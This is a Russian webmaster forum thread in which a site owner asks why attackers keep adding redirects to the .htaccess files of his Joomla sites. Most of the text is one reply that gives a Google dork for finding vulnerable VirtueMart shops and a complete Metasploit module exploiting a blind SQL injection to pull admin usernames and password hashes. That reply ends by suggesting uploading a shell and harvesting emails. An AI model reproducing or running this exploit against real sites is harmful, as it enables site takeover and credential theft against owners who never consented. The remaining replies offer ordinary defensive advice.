Ломают сайты на джумле
Страницы: 1
Ломают сайты на джумле, Ломают сайты на джумле
Есть десяток сапо-сайтов на джумле на одном хостинге. В файле .htaccess прописывают редиректы на всех сайтах, а причину найти не могу.
Что делал: менял пароли на хостинге, в админках, менял права на 444, но у "товарищей" есть доступ через какую-то дырку и они меняют их на 644. Скачивал бекапы и прогонял через антивирусы - ни чего не находит. Ставил скрипт айболита - пишет шеллов нет. На одном сайте нашел модуль mod_system (вычитал, что он может быть причиной) - удалил его.
Может кто посоветует куда рыть и какие меры можно принять?
Дырка может быть и в самом хостинге. попроси у тех поддержки лог доступа на фтп.
Limon, У меня такая же ерунда на хостинге ломают сайты(joomla, wp) и ставят редирект мобильного трафика. Чистка .htaccess помогает максимум на недели две.
есть возможность поставить доступ на фтп с определённого ай пи?
делается это всё при помощи mysql иньекций (скули) нужно в эту сторону смотреть. затем ставиться TDS и весь трафик переливается куда-то.вот пример как это делается

показано как можно получить админа с помощью SQL уязвимости в движке Joomla v 1.1.2 . Virtuemart-expl
Для нахождения бажных ресурсов использовал запрос:

Цитата:

[TABLE]

[TR][TD]inurl: (убрать скобки) option,com_virtuemart[/TD][/TR]

[/TABLE]

Вбиваете в гугл, выбираем любой из ресурсов и пробуем c помощью сплойта раскрутить SQL-инъекцию.
(Закидываем сплойт в exploit/unix/webapp/virtuemart-expl , перед этим сохранив его в virtuemart-expl.rb.)

В видео используется сплойт:


Цитата:

[TABLE]

[TR][TD]require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
'Description' => %q{
This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
},
'Author' => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',
'License' => MSF_LICENSE,
'Version' => '1.0',
'References' =>
[
['BID', '33480'],
['URL', 'http://www.waraxe.us/advisory-71.html'],
['URL', 'http://secunia.com/advisories/33671/']
],
'DisclosureDate' => 'Jan 24 2009'))

register_options(
[
OptString.new('URI', [false, 'Path to VirtueMart', ''],
OptInt.new('TARGETID', [false, 'Target ID (optional)'],
OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_'],
OptBool.new('ALLSA', [ false, 'Fetch all Super Admins', true],
OptBool.new('ALLA', [ false, 'Fetch all Admins', false],
OptBool.new('ALLM', [ false, 'Fetch all Managers', false],
], self.class)

end

def run

@marker = 'name="addtocart"'
@target_uri = '/' + datastore['URI'] + '/'
@target_uri = @target_uri.gsub(/\/{2,}/, '/')
@target_id = datastore['TARGETID']
@target_prefix = datastore['PREFIX']
@requests = @fetched = 0
time_start = Time.now.to_i

# debug_level=2 - more debug messages, 1 - less
@debug_level = 1

if(!pre_test)
print_error('Exploit failed in pre-test phase')
return
end

if(datastore['ALLSA']
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end

if(datastore['ALLA']
if(!get_users(2))
print_error('Exploit failed fetching Admins')
return
end
end

if(datastore['ALLM']
if(!get_users(3))
print_error('Exploit failed fetching Managers')
return
end
end

if((@target_id < 1) and (!datastore['ALLSA'] and (!datastore['ALLA'] and (!datastore['ALLM'])
print_status('Target ID or group(s) not specified, fetching Super Admins as default')
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end

if(@target_id > 1)
if(!get_user())
print_error("Exploit failed fetching user with ID=#{@target_id}"
return
end
end

time_spent = Time.now.to_i - time_start

print_status("Exploitation results:"
print_status("Got data for #{@fetched} users"
print_status("Total time spent: #{time_spent} seconds"
print_status("HTTP requests needed: #{@requests}"

end
################################################## ##########
def make_post(post_data)

timeout = 30

begin 

res = send_request_cgi({
'uri' => @target_uri,
'method' => 'POST',
'data' => post_data,
}, timeout)

if(res and res.body)
@requests += 1
return res.body
else
print_error('No response from server')
return nil
end

rescue ::Exception
print_error("Error: #{$!.class} #{$!}"
return nil
end
end
################################################## ##########
def test_condition(condition)

max_tries = 10

post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&D escOrderBy=,"
post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"

1.upto(max_tries) do |i|

buf = make_post(post_data)

if(buf)
return buf.include?(@marker)
else
print_status("Sleeping #{i} seconds"
sleep(i)
print_status("Awake, retry ##{i}"
end
end

return nil
end
################################################## ##########
def pre_test

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 1 failed - VirtueMart not detected')
return false
else
print_status('Pre-test 1 passed - VirtueMart detected')
end

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&D escOrderBy=,'
buf = make_post(post_data) or return false

if(buf.include?(@marker))
print_error('Pre-test 2 failed - target is patched?')
return false
else
print_status('Pre-test 2 passed - injection detected')
end

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&D escOrderBy=,(SELECT 1)'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 3 failed - subselects not supported?')
return false
else
print_status('Pre-test 3 passed - subselects supported')
end

if(@target_prefix == '')
print_status('Prefix not provided, trying to fetch')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}"
return true
end
end

post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&D escOrderBy=," +
"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"

buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 4 failed - wrong prefix?')
print_status('Trying to fetch valid prefix')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}"
return true
end
else
print_status('Pre-test 4 passed - prefix OK')
end

return true
end
################################################## ##########
def get_char(pattern, min, max)

num = get_num(pattern, min, max) or return nil

return num.chr

end
################################################## ##########
def get_hash(group = nil, u_pos = nil)

hash = ''

if(group and u_pos)
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

p_len = get_num(pattern, 32, 100) or return nil

print_status("Got hash length: #{p_len.to_s}"

1.upto(p_len) do |pos|
print_status("Finding hash char pos #{pos}" if @debug_level > 0

if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

c = get_char(pattern, 32, 128) or return nil

hash << c
print_status("Known: #{hash}" if @debug_level > 0

end

return hash

end
################################################## ##########
def get_prefix

prefix = ''

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&D escOrderBy=,' +
'(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
return false
else
print_status('INFORMATION_SCHEMA detected, proceed')
end

pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'

p_len = get_num(pattern, 5, 100) or return nil
p_len -= 10

if(p_len < 0)
print_error("Invalid prefix length: #{p_len.to_s}"
return false
elsif(p_len == 0)
print_status('Prefix seems to be empty')
@target_prefix = ''
return true
else
print_status("Got prefix length: #{p_len.to_s}"
end

1.upto(p_len) do |pos|
print_status("Finding prefix char pos #{pos}" if @debug_level > 0

pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
" WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"

c = get_char(pattern, 32, 128) or return nil

prefix << c
print_status("Known: #{prefix}" if @debug_level > 0

end

return prefix
end
################################################## ##########
def get_num(pattern, min = 1, max = 100)

curr = 0;

while(1)

area = max - min
if(area < 2 )
post_data = "#{pattern}=#{max}"
eq = test_condition(post_data)

if(eq == nil)
return nil
elsif(eq)
len = max
else
len = min
end

break
end

half = area / 2
curr = min + half

post_data = "#{pattern}>#{curr}"

bigger = test_condition(post_data)

if(bigger == nil)
return nil
elsif(bigger)
min = curr
else
max = curr
end

print_status("Current: #{min}-#{max}" if @debug_level > 1

end

return len

end
################################################## ##########
def get_username(group = nil, u_pos = nil)

username = ''

if(group and u_pos)
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

u_len = get_num(pattern, 1, 150) or return nil

print_status("Got username length: #{u_len.to_s}"

1.upto(u_len) do |pos|
print_status("Finding username char pos #{pos}" if @debug_level > 0

if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

c = get_char(pattern, 32, 128) or return nil

username << c
print_status("Known: #{username}" if @debug_level > 0

end

return username

end
################################################## ##########
def get_users(group)

if(group == 1)
usertype = '0x53757065722041646d696e6973747261746f72'
print_status('Starting to fetch all Super Admins')
elsif(group == 2)
usertype = '0x41646d696e6973747261746f72'
print_status('Starting to fetch all Admins')
else
usertype = '0x4d616e61676572'
print_status('Starting to fetch all Managers')
end

pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"

u_cnt = get_num(pattern, 0, 100) or return nil

print_status("Targets to fetch: #{u_cnt.to_s}"

0.upto(u_cnt - 1) do |pos|

print_status("Fetching user pos #{pos}"

username = get_username(usertype, pos) or return nil
hash = get_hash(usertype, pos) or return nil
@fetched += 1

print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)

end

return true
end
################################################## ##########
def get_user

print_status("Testing user ID=#{@target_id}"
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
u_cnt = get_num(pattern, 0, 100) or return nil

if(u_cnt != 1)
print_error("No user with ID=#{@target_id}"
return true
end

print_status("Working with user ID=#{@target_id}"

username = get_username or return nil
hash = get_hash or return nil
@fetched += 1

print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)

return true
end
################################################## ########## 
end[/TD][/TR]

[/TABLE]


Это только пример использования сплойтов, а не побуждение к действию.

Что дальше делать думаю всем известно, заливаем шелл, сливаем мыла, отправляем что-нибудь.
Изменено: seospace - 17 Сентября 2012 17:05
Цитата
Limon пишет:
Есть десяток сапо-сайтов на джумле на одном хостинге. В файле .htaccess прописывают редиректы на всех сайтах, а причину найти не могу.
Что делал: менял пароли на хостинге, в админках, менял права на 444, но у "товарищей" есть доступ через какую-то дырку и они меняют их на 644. Скачивал бекапы и прогонял через антивирусы - ни чего не находит. Ставил скрипт айболита - пишет шеллов нет. На одном сайте нашел модуль mod_system (вычитал, что он может быть причиной) - удалил его.
Может кто посоветует куда рыть и какие меры можно принять?
Обращайтесь, помогу найти shell-скрипты и почистить ваш сайт от нечести.
Защита от DDoS, очистка от вирусов, администрирование серверов
Страницы: 1
Похожие темы:
Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
19:14 Magic click - гемблинг пп, ставки выше конкурентов 
15:37 Adtrafico - Правильная партнёрская сеть под бурж трафик 
13:38 Вопрос по Cloudflare 
21:36 Webvork - международная товарная СРА сеть с сертифицированными офферами на Европу. 
16:33 DreamCash.tl - заработок на онлайн-видео. До 95% отчислений, отличный конверт! 
19:52 Profit Pixels - In-House Форекс, Крипто, Трейдинг CPA Офферы | Еженедельные Выплаты | CPA до $950 
17:55 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика! 
12:35 Современный скрипт обменника электронных валют 
11:00 Obama.ru - безопасный обмен криптовалют и электронных денежных средств 
14:16 Продам порно сайт на KVS 
12:58 Профильный прогон 200 рублей, Тиц (Икс) от 10, проверен Checktrust 
12:02 TETChange-Обменник криптовалют 
11:02 DualCoin - быстрый криптовалютный обменник 
06:42 Криптовалютный обменник Xgram.io - новое воплощение качества 
18:31 Видимо, похороны СУПРа уже прошли как-то по-тихому 
22:54 Точные прогнозы на футбол 
12:48 Каспкрски ОС 
11:21 Ням-ням! - 8 деликатесов, которые когда-то ели только бедные люди 
14:41 Бесплатный мини-аудит юзабилити и конверсии + технический SEO-аудит в подарок 
15:24 Добро пожаловать в цифровой мир... 
22:58 У меня дикая просадка по РСЯ за последние 3 суток